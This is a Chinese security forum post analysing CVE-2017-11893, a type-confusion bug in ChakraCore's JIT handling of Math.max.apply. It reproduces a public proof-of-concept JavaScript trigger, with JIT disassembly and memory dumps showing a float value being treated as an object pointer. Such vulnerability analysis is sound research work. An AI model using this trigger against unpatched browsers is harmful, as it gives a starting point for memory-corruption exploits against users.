首页
社区
课程
招聘
[原创]CVE-2017-11893 Math.Max.apply方法破坏执行流程导致类型混淆
2018-1-24 12:04 3695

[原创]CVE-2017-11893 Math.Max.apply方法破坏执行流程导致类型混淆

2018-1-24 12:04
3695

source:https://bugs.chromium.org/p/project-zero/issues/detail?id=1379

 

poc如下所示

function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3, 4.4];
    for (let i = 0; i < 10000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }

    Math.max = function () {
        arr[0] = {};
    };

    opt(arr, {});  // can't handle, calls Math.max
    print(arr[0]);
}

main();

执行poc出现如下crash信息

inline TypeId RecyclableObject::GetTypeId() const
    {
        return this->GetType()->GetTypeId();
    }

this    0x0000000000001234 {type=??? }    Js::RecyclableObject *

在这里this指针为0x1234是浮点数2.3023e-320的16进制表示因此我们猜测此处发生了类型混淆

 

根据poc可知程序在多次循环执行之后进行JIT,JIT之后生成如下所示的代码,sub_1ebdd8d092f

sub_1ebdd8d092f

000001EBDD8D0890  mov         rax,1E3DD5A09E0h  
000001EBDD8D089A  cmp         rsp,qword ptr [rax]  
000001EBDD8D089D  jle         000001EBDD8D09B8 
//i++
000001EBDD8D08A3  inc         r14d  
//i < 10000
000001EBDD8D08A6  cmp         r15d,2710h            <===循环判断条件
000001EBDD8D08AD  jge         000001EBDD8D0937  
000001EBDD8D08B3  mov         rax,qword ptr [rbx-4634h]  
000001EBDD8D08BA  mov         r13,qword ptr [rax+10h]  
000001EBDD8D08BE  mov         r9,1E3DD558900h  
000001EBDD8D08C8  mov         r8,1EBDD7101EAh  
000001EBDD8D08D2  mov         rdx,1EBDD5DF4F0h  
000001EBDD8D08DC  mov         rcx,1E3DD5801A8h  
000001EBDD8D08E6  mov         rax,7FF8966BF090h  
000001EBDD8D08F0  call        rax  
000001EBDD8D08F3  mov         rcx,r13  
000001EBDD8D08F6  shr         rcx,30h  
000001EBDD8D08FA  jne         000001EBDD8D09C7  
000001EBDD8D0900  mov         rcx,qword ptr [r13+8]  
000001EBDD8D0904  mov         rcx,qword ptr [rcx+18h]  
000001EBDD8D0908  mov         qword ptr [rbp-8],rcx  
000001EBDD8D090C  mov         rcx,r13  
000001EBDD8D090F  mov         qword ptr [rsp+20h],rax  
000001EBDD8D0914  mov         r9,rdi  
000001EBDD8D0917  mov         r8,1EBDD6C4030h  
000001EBDD8D0921  mov         rdx,10000003h  
000001EBDD8D0928  mov         r13,qword ptr [rbp-8]  
//opt(arr, [1, 2, 3, 4]);
000001EBDD8D092C  call        r13                    <=== opt
000001EBDD8D092F  inc         r15d  
000001EBDD8D0932  jmp         000001EBDD8D0890

sub_1ebdd8d092f对应于poc中的

for (let i = 0; i < 10000; i++) 
{
    opt(arr, [1, 2, 3, 4]);
}

JIT生成的另一个函数是sub_1ebdd8d017d

sub_1ebdd8d017d

// arr[0] = 1.1;
000001EBDD8D00E9  movsd       xmm0,mmword ptr [rsi+1ECh]  
000001EBDD8D00F2  movsd       mmword ptr [r14+18h],xmm0  

000001EBDD8D00F8  mov         rax,qword ptr [rsi+0AE08Ch]  
000001EBDD8D00FF  lea         rcx,[rsi+0C5EB4h]  
000001EBDD8D0106  cmp         rax,rcx  
000001EBDD8D0109  jne         000001EBDD8D0276  
000001EBDD8D010F  mov         r15,qword ptr [rdi+128h]  
000001EBDD8D0116  mov         rax,r15  
000001EBDD8D0119  shr         rax,30h  
000001EBDD8D011D  jne         000001EBDD8D0325  
000001EBDD8D0123  mov         rax,qword ptr [r15+8]  
000001EBDD8D0127  cmp         rax,qword ptr [rsi+56Ch]  
000001EBDD8D012E  jne         000001EBDD8D02FE  
000001EBDD8D0134  mov         rcx,qword ptr [r15+10h]  
000001EBDD8D0138  mov         rdi,qword ptr [rcx+90h]  
000001EBDD8D013F  mov         rax,rdi  
000001EBDD8D0142  shr         rax,30h  
000001EBDD8D0146  jne         000001EBDD8D03AF  
000001EBDD8D014C  mov         rax,qword ptr [rdi+8]  
000001EBDD8D0150  cmp         rax,qword ptr [rsi+14ACh]  
000001EBDD8D0157  jne         000001EBDD8D038D  
000001EBDD8D015D  mov         byte ptr [rbx],1  
000001EBDD8D0160  mov         r9,r12  
000001EBDD8D0163  mov         r8,r15  
000001EBDD8D0166  mov         rdx,10000002h  
000001EBDD8D016D  mov         rcx,rdi  
000001EBDD8D0170  mov         rax,7FF896600460h 
//Math.max.apply(Math, arr2);
000001EBDD8D017A  call        rax  
000001EBDD8D017D  cmp         byte ptr [rbx],1  
000001EBDD8D0180  jne         000001EBDD8D03CB  
//arr[0] = 2.3023e-320;
000001EBDD8D0186  movsd       xmm0,mmword ptr [rsi+36Ch]  
000001EBDD8D018F  movsd       mmword ptr [r14+18h],xmm0

JIT生成的sub_1ebdd8d017d对应POC中的

function opt(arr, arr2) 
{
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

在JIT的环境下程序执行的流程如下

->sub_1ebdd8d092f
->sub_1ebdd8d017d
->JavascriptMath::MaxInAnArray

JavascriptMath::MaxInAnArray对应于Math.max.apply,注意只有在JIT环境下才会调用这个函数。

Math.Max.apply

语法
Math.max([value1[,value2, ...]]) 

参数
value1, value2, ...

返回值
返回给定的一组数字中的最大值。如果给定的参数中至少有一个参数无法被转换成数字,则会返回 NaN。

apply是javascript中一种调用函数的方法类似于同样效果的call方法,根据MDN的描述

语法

fun.apply(thisArg, [argsArray])

参数

thisArg
在 fun 函数运行时指定的 this 值。需要注意的是,指定的 this 值并不一定是该函数执行时真正的 this 值,如果这个函数处于非严格模式下,则指定为 null 或 undefined
时会自动指向全局对象(浏览器中就是window对象),同时值为原始值(数字,字符串,布尔值)的 this 会指向该原始值的自动包装对象。

argsArray
一个数组或者类数组对象,其中的数组元素将作为单独的参数传给 fun 函数。如果该参数的值为null 或 undefined,则表示不需要传入任何参数。从ECMAScript 5 开始可以使用类数组对象。浏览器兼容性请参阅本文底部内容。

 

call()方法的作用和 apply() 方法类似,只有一个区别,就是 call()方法接受的是若干个参数的列表,而apply()方法接受的是一个包含多个参数的数组。对于Math.Max方法来说,Math.Max接受的是参数的列表比如

Math.max(1,2,3);

而使用apply方法则需要传入数组,如

Math.max.apply(Math,[1,2,3])

</br>
在chakra中总共有两类数据类型可以被用于调用Math.Max.apply方法,分别是JavascriptNativeArrayJavascriptTypedArray,其中JavascriptNativeArray包含JavascriptNativeIntArrayJavascriptNativeFloatArray,而JavascriptTypedArray包含Uint8ArrayInt16ArrayUint32ArrayFloat32Array
</br>
</br>

JavascriptNativeArray::FindMinOrMax
TypedArrayBase::FindMinOrMax

这些调用由函数JavascriptMath::MaxInAnArray负责分发

Var JavascriptMath::MaxInAnArray(RecyclableObject * function, CallInfo callInfo, ...)
{
    if (!JavascriptNativeArray::Is(typeId) && !(TypedArrayBase::Is(typeId) && typeId != TypeIds_CharArray && typeId != TypeIds_BoolArray))
    {
        ...
        JavascriptFunction::CalloutHelper
    }

    if (JavascriptNativeArray::Is(typeId))
    {
        ...
        JavascriptNativeArray::FindMinOrMax
    }
    else
    {
        ...
        TypedArrayBase::FindMinOrMax
    }

}

但是如果传入的参数不属于JavascriptNativeArrayTypedArray那么会调用JavascriptFunction::CalloutHelper调用外部函数

amd64_CallFunction()
Js::JavascriptFunction::CallFunction
Js::JavascriptFunction::CalloutHelper
Js::JavascriptMath::MaxInAnArray

对于POC来说则是会执行

    Math.max = function () {
        arr[0] = {};
    };

这一函数被调用之后会使得原来的数组类型由JavascriptNativeArray变为JavascriptArray,之后的访问就会造成类型混淆,接下来细节分析一下这个过程。

进一步分析

在poc的如下代码片段中,代码被重复执行触发JIT生成

function opt(arr, arr2) {
    arr[0] = 1.1;
    Math.max.apply(Math, arr2);
    arr[0] = 2.3023e-320;
}

 for (let i = 0; i < 1000; i++) {
        opt(arr, [1, 2, 3, 4]);
    }

会导致最终调用到Math.max.apply对应的JavascriptMath::MaxInAnArray
调用流程如下

JavascriptMath::MaxInAnArray
0000025b03de017e()
0000025b03de0936()

当传入{}调用opt函数时会因为参数不符合Math.Max.apply的处理要求而进行bailout

 opt(arr, {});
if (!JavascriptNativeArray::Is(typeId) && 
    !(TypedArrayBase::Is(typeId) &&
    typeId != TypeIds_CharArray && 
    typeId != TypeIds_BoolArray))
{
    return JavascriptFunction::CalloutHelper<false>(
        function, 
        thisArg, 
        nullptr, 
        arrayArg, 
        scriptContext);
}

首先来看一下进行bailout之前数组arr的情况

arr


0x0000020840E58100  00007ff89335f150  P?5??... 
//JavascriptNativeFloatArray::vtable
0x0000020840E58108  0000020840e09140  @??@....
0x0000020840E58110  0000000000000000  ........
0x0000020840E58118  0000000000000005  ........
0x0000020840E58120  0000000000000004  ........
0x0000020840E58128  0000020840e58140  @??@....
0x0000020840E58130  0000020840e58140  @??@....

对应的segment对象在执行arr[0] = 1.1;之后

0x0000020840E58140  0000000400000000  ........
0x0000020840E58148  0000000000000005  ........
0x0000020840E58150  0000000000000000  ........
0x0000020840E58158  3ff199999999999a  ????????
0x0000020840E58160  400199999999999a  ??????.@
0x0000020840E58168  400a666666666666  ffffff.@
0x0000020840E58170  401199999999999a  ??????.@
0x0000020840E58178  8000000280000002  ...€...€

当未进行bailout并且执行arr[0] = 2.3023e-320;之后segment对象情况如下

0x0000020840E58140  0000000400000000  ........
0x0000020840E58148  0000000000000005  ........
0x0000020840E58150  0000000000000000  ........
0x0000020840E58158  0000000000001234  4....... //2.3023e-320
0x0000020840E58160  400199999999999a  ??????.@
0x0000020840E58168  400a666666666666  ffffff.@
0x0000020840E58170  401199999999999a  ??????.@
0x0000020840E58178  8000000280000002  ...€...€

当进行bailout之后,调用JavascriptFunction::CallFunction,执行poc中的arr[0] = {};,之后arr的类型会由NativeArray转变为Array,如下

0x0000020840E58100  00007ff89335e1d8  ??5??...
//JavascriptArray::vtable
0x0000020840E58108  0000020840e08fc0  ???@....
0x0000020840E58110  0000000000000000  ........
0x0000020840E58118  0000000000000005  ........
0x0000020840E58120  0000000000000004  ........
0x0000020840E58128  0000020840e58140  @??@....
0x0000020840E58130  0000020840e58140  @??@....

其对应的segment对象也相应发生改变(但地址未变)

0x0000020840E58140  0000000400000000  ........
0x0000020840E58148  0000000000000005  ........
0x0000020840E58150  0000000000000000  ........
0x0000020840E58158  0000020841100020   ..A....
0x0000020840E58160  bffd99999999999a  ????????
0x0000020840E58168  bff6666666666666  ffffff??
0x0000020840E58170  bfed99999999999a  ????????
0x0000020840E58178  8000000280000002  ...€...€

注意其中地址为0x0000020840E58158的第一个元素的值变成一个对象的指针

0x0000020841100020  00007ff89335af00  .?5??...
//DynamicObject::vtable
0x0000020841100028  0000020840e0a180  €??@....
0x0000020841100030  0000000000000000  ........
0x0000020841100038  0000000000000000  ........

之后由于JIT中的代码会对segment中的第一个元素赋值导致发生了类型混淆

0000020841011198  movsd       xmm0,mmword ptr [rsi-0CD4h]  
00000208410111A1  movsd       mmword ptr [r14+18h],xmm0

JIT对segment元素赋值后

0x0000020840E58140  0000000400000000  ........
0x0000020840E58148  0000000000000005  ........
0x0000020840E58150  0000000000000000  ........
0x0000020840E58158  0000000000001234  4.......
0x0000020840E58160  bffd99999999999a  ????????
0x0000020840E58168  bff6666666666666  ffffff??
0x0000020840E58170  bfed99999999999a  ????????
0x0000020840E58178  8000000280000002  ...€...€

注意此时此segment属于JavascriptArray对象,因此0x1234会作为指针解释。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回